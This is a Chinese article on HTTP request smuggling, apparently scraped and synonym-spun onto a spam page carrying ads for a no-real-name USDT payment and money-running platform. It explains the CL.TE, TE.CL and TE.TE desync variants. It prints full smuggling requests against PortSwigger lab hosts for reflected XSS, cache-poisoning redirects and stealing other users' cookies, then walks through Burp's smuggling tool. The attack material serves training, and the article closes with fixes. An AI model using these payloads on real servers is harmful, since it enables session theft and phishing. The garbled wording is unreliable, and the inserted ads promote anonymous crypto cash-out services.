快捷搜索:  创意文化园  as  1846  test  test:8080  as:3128  1846:3128  www.ymwears.cn

usdt官网(www.caibao.it):浅析HTTP走私攻击

USDT自动充值API接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

现在攻击手段日益层出不穷,令企业防不胜防,因此企业不能再以原有的防守头脑去防守。基于攻击者的视角,领会攻击者的攻击手法才气更好地做好防守。本次先容的是攻击者常用的一种攻击手法“HTTP请求走私”,它可以使攻击者能够绕过平安控制,未经授权接见敏感数据并直接危害其他应用程序用户。本文由锦行科技的平安研究团队提供,旨在通过剖析“HTTP请求走私”的攻击历程,辅助企业进一步领会攻击者的攻击思绪,做好应对战略。

什么是HTTP请求走私?

在庞大的网络环境下,差其余服务器以差其余方式实现RFC尺度,行使前后端服务器对数据包的界限领会纷歧致,向一个请求数据包中插入下一个请求数据包的一部门,早年端服务器角度看来,它属于一个完整的请求,而在后端服务器看来,它属于两次请求,前端请求的一部门被后端服务器注释为下一个请求的最先。因此,它使攻击者可以绕过平安控制,未经授权接见敏感数据并直接危害其他应用程序用户。


发生的缘故原由

在HTTP1.1后,增添了一个特殊的请求头Connection: Keep-Alive,确立tcp连续通道,举行一次tcp握手,就能传送多个请求。但这样只能是请求一次响应一次。为了提高数据传输的效率,削减壅闭。厥后就有了HTTP Pipelining(管线化)字段,它是将多个http请求批量提交,而不用等收到响应再提交的异步手艺。如下图就是使用Pipelining和非Pipelining

这意味着前端与后端必须短时间内对每个数据包的界限巨细杀青一致,否则,攻击者就可以组织发送一个特殊的数据包,在前端看来它是一个请求,但在后端却被注释为了两个差其余HTTP请求。这就导致攻击者可以在下一个用户发送的正当数据包前恶意添加内容。如图,走私的内容(“前缀”),以橙色突出显示:

假设前端思量的是内容长度头部(Content-Length)值作为数据包竣事的界限,后端优先思量的是Transfer-Encoding头部。那么从后端角度看,如下图蓝色部份字体属于一个数据包,而红色部份字体属于下一个数据包的最先部份。这样就乐成早年端“走私”了一个数据包。

攻击种别

01 CL不为0的GET请求

假设前端署理服务器允许GET请求携带请求体,尔后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的Content-Length头,不举行处置。这就有可能导致请求走私。

好比发送下面请求:

GET / HTTP/1.1
Host:example.com
Content-Length:44
GET /socket HTTP/1.1
Host: example.com

前端服务器通过读取Content-Length,确认这是个完整的请求,然后转发到后端服务器,尔后端服务器由于纰谬Content-Length举行判断,由于Pipeline的存在,它以为这是两个请求,划分为:

第一个

GET / HTTP/1.1
Host: example.com

第二个

GET /socket HTTP/1.1
Host: example.com

则相当于走私了请求。

02 CL-CL

在RFC7230规范中,划定当服务器收到的请求中包罗两个Content-Length,而且两者的值差异时,需要返回400错误。但难免会有服务器不严酷遵守该规范。假设前端和后端服务器都受到该类请求,且不报错,其中前端服务器根据第一个Content-Length的值对请求举行为数据包定界,尔后端服务器则根据第二个Content-Length的值举行处置。

这时攻击者可以恶意组织一个特殊的请求,

POST / HTTP/1.1
Host: example.com
Content-Length: 6
Content-Length: 5
123
A

CDN服务器获取到的数据包的长度6,将上述整个数据包转发给后端的服务器,尔后端服务器获取到的数据包长度为5。当读取完前5个字符后,后端服务器以为该请求已经读取完毕,然后发送出去。而此时的缓冲区去还剩余一个字母A,对于后端服务器来说,这个A是下一个请求的一部门,然则还没有传输完毕。此时恰巧有一个其他的正常用户对服务器举行了请求,则该A字母则会拼集到下一个正常用户请求的前面,攻击在此睁开。

03 CL-TE

所谓CL-TE,顾名思义就是收到包罗Content-Length和Transfer-Encoding这两个请求头d的请求时,前端署理服务器根据Content-Length这一请求头定界,尔后端服务器则以Transfer-Encoding请求头为尺度。

组织数据包:

POST / HTTP/1.1
Host: example.com
Content-Length: 16
Transfer-Encoding: chunked
0
chunkedcode

前端服务器处置Content-Length头并确定请求主体长度为16个字节,直到chunkedcode竣事。此请求将转发到后端服务器。

后端服务器处置Transfer-Encoding标头,因此将新闻体视为使用分块编码。它处置第一个块,它被称为零长度,因此被视为终止请求。缓冲区内还剩下chunkedcode,由于存在pipeline手艺,后端服务器将这些字节视为行列中下一个请求的最先。

实验地址:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

(在做之前记得要把 BurpSuite 的自动更新 Content-Length 功效作废了。)

注重:需要发送两次请求

04 TE-CL

这种情形则属于前端服务器处置Transfer-Encoding请求头,尔后端服务器处置Content-Length请求头。


组织数据包:
Host: example.com
Content-Length: 3
Transfer-Encoding: chunked
b
chunkedcode
0

(注重0后面加两个rn)

前端服务器处置Transfer-Encoding请求头,因此将新闻体视为使用分块编码,处置第一块时,有11个字节,直到chunkedcodede的最后一个字节。最先处置第二个块,第二块是0个字节,视为终止请求。此时把请求转发到后端。尔后端则在11处完成了对第一个数据包的读取,chunkedcodern0为下一个数据包的最先部份。

实验地址:https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl

(在做之前记得要把 BurpSuite 的自动更新 Content-Length 功效作废了。)

注重:需要发送两次请求

05 TE-TE

前端服务器处置第一个Transfer-Encoding请求头,后端服务器处置第二个Transfer-Encoding请求头。

组织数据包:


Host: example.com
Content-Length: 3
Transfer-Encoding: chunked
Transfer-Encoding: error
b
chunkedcode
0

这里是用了两个 Transfer-Encoding 字段,而且第二个 TE 字段值为错误值,这里前端服务器选择对第一个Transfer-Encoding举行处置,整个请求正常,原封不动转发给后端服务器,尔后端服务器则以第二个Transfer-Encoding字段举行优先处置,而第二个Transfer-Encoding字段非尺度值,凭证RPC规范,则会取Content-Length字段举行处置,这样这个请求就会被拆分为两个请求。

实验地址:https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header

(在做之前记得要把 BurpSuite 的自动更新 Content-Length 功效作废了。)

注重:需要发送两次请求

,

Usdt第三方支付接口

菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

攻击扩展

01 smuggling reflected xss

单纯的UA处的xss并没有什么危害,但可以连系请求走私攻击举行行使来提升危害。

实验地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss

我们可以组织以下数据包,只要发送一次:

POST / HTTP/1.1
Host: acc01f221f0e5490815e020800d200d8.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=k3jXNrcQioQOdiLYyRXPJVf5gHZykEl8
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked
0
GET /post?postId=3 HTTP/1.1
User-Agent: ">
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1

就能够在该网站的随便页面触发xss,由于在http序列中,走私的请求会插到用户对网站的请求前面。

02 direct smuggling

实验地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-poisoning

该场景使基于url跳转,把用户重定向到一个牢靠网页,lab为我们提供个跳转api,/post/next?postId=3路由跳转到的是/post?postId=4。

此时我们可以行使走私攻击并配合重定向举行钓鱼。

发送以下数据包一次:

POST / HTTP/1.1
Host: ac501fd21fceba4f80de460400140045.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
Sec-Fetch-Dest: document
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=Rmtn44vZ2BeGqD1ToPbAYrcDS0UiIKwQ
Content-Type: application/x-www-form-urlencoded
Content-Length: 178
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: ac501fd21fceba4f80de460400140045.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1

然后接见原网站随便页面,都市被重定向到/post?postId=4

03 窃取用户请求

实验地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests

行使走私攻击捕捉用户请求数据包,窃取cookie。

我们在发送谈论处的api接口组织请求包如下,

发送以下数据包:


POST / HTTP/1.1
Host: ac671f031fa2e9ba80ffdc2d00690027.web-security-academy.net
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=7fnaaemuD32ZqUPyB6EGVA8vOL8wwz8p
Content-Type: application/x-www-form-urlencoded
Content-Length: 343
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac671f031fa2e9ba80ffdc2d00690027.web-security-academy.net
Content-Length: 600
Content-Type: application/x-www-form-urlencoded
Cookie: session=7fnaaemuD32ZqUPyB6EGVA8vOL8wwz8p
csrf=aeITUnejzQ7XRUTUiEWl4X6ckwPt8TWc&postId=2&name=1&email=123@qq.com&website=https://www.baidu.com&comment=118

乐成把用户的请求拼接到走私请求的comment参数上,如下图 :


案例

该案例行使的是CL-TE的攻击方式。凭证RFC,当Content-Length和Transfer-Encoding两个标头同时泛起在统一请求包时,Transfer-Encoding始终被优先处置。然则,若是Transfer-Encoding标头花样错误,则前端服务器和后端服务器之间对请求的注释可能会有所差异。在该站点上发现的CLTE问题是,在请求包中 Transfer-Encoding 和:之间加多一个空格,使该字段的花样为非尺度值,此时前端服务器依据RPC规范,优先处置Content-Length,尔后端服务器并没严酷遵守RPC规范,以Transfer-Encoding为依据举行处置数据包。

恶意请求的说明:

可见用户的正常请求被拼接到X字段,而X请求头非尺度请求头,故忽略,而该用户的cookie字段也被拼接到了该走私的请求上。

在Burp Collaborator Client上能乐成窃取用户的cookie:

测试工具

地址: https://github.com/portswigger/http-request-smuggler

假设我用的是靶机:

https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

在burpsuite上查找到请求包,右键lauch smuggle probe,随后在burpsuite的扫描效果上显示讲述:

进一步确定破绽。

右键点击”smuggle attack(CL.TE)“

泛起Turbo Intruder剧本:

X-Ignore: X'''   //走私一个uri为/hopefully404的请求包,下一个用户的请求会拼接到X-Ignore字段后面,因此要是存在走私破绽,则会返回一个状态码为404的数据包。

点击“attack“举行爆破测试:

看到存在404状态码的数据包,说明存在http走私破绽。

修复方案:

1、前端服务器对前段输入规范化

2、前端服务器使用HTTP2.0

3、后端服务器抛弃非正常请求

发表评论
来博棋牌招商声明:该文看法仅代表作者自己,与本平台无关。请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 验证码:点击我更换图片

您可能还会对下面的文章感兴趣: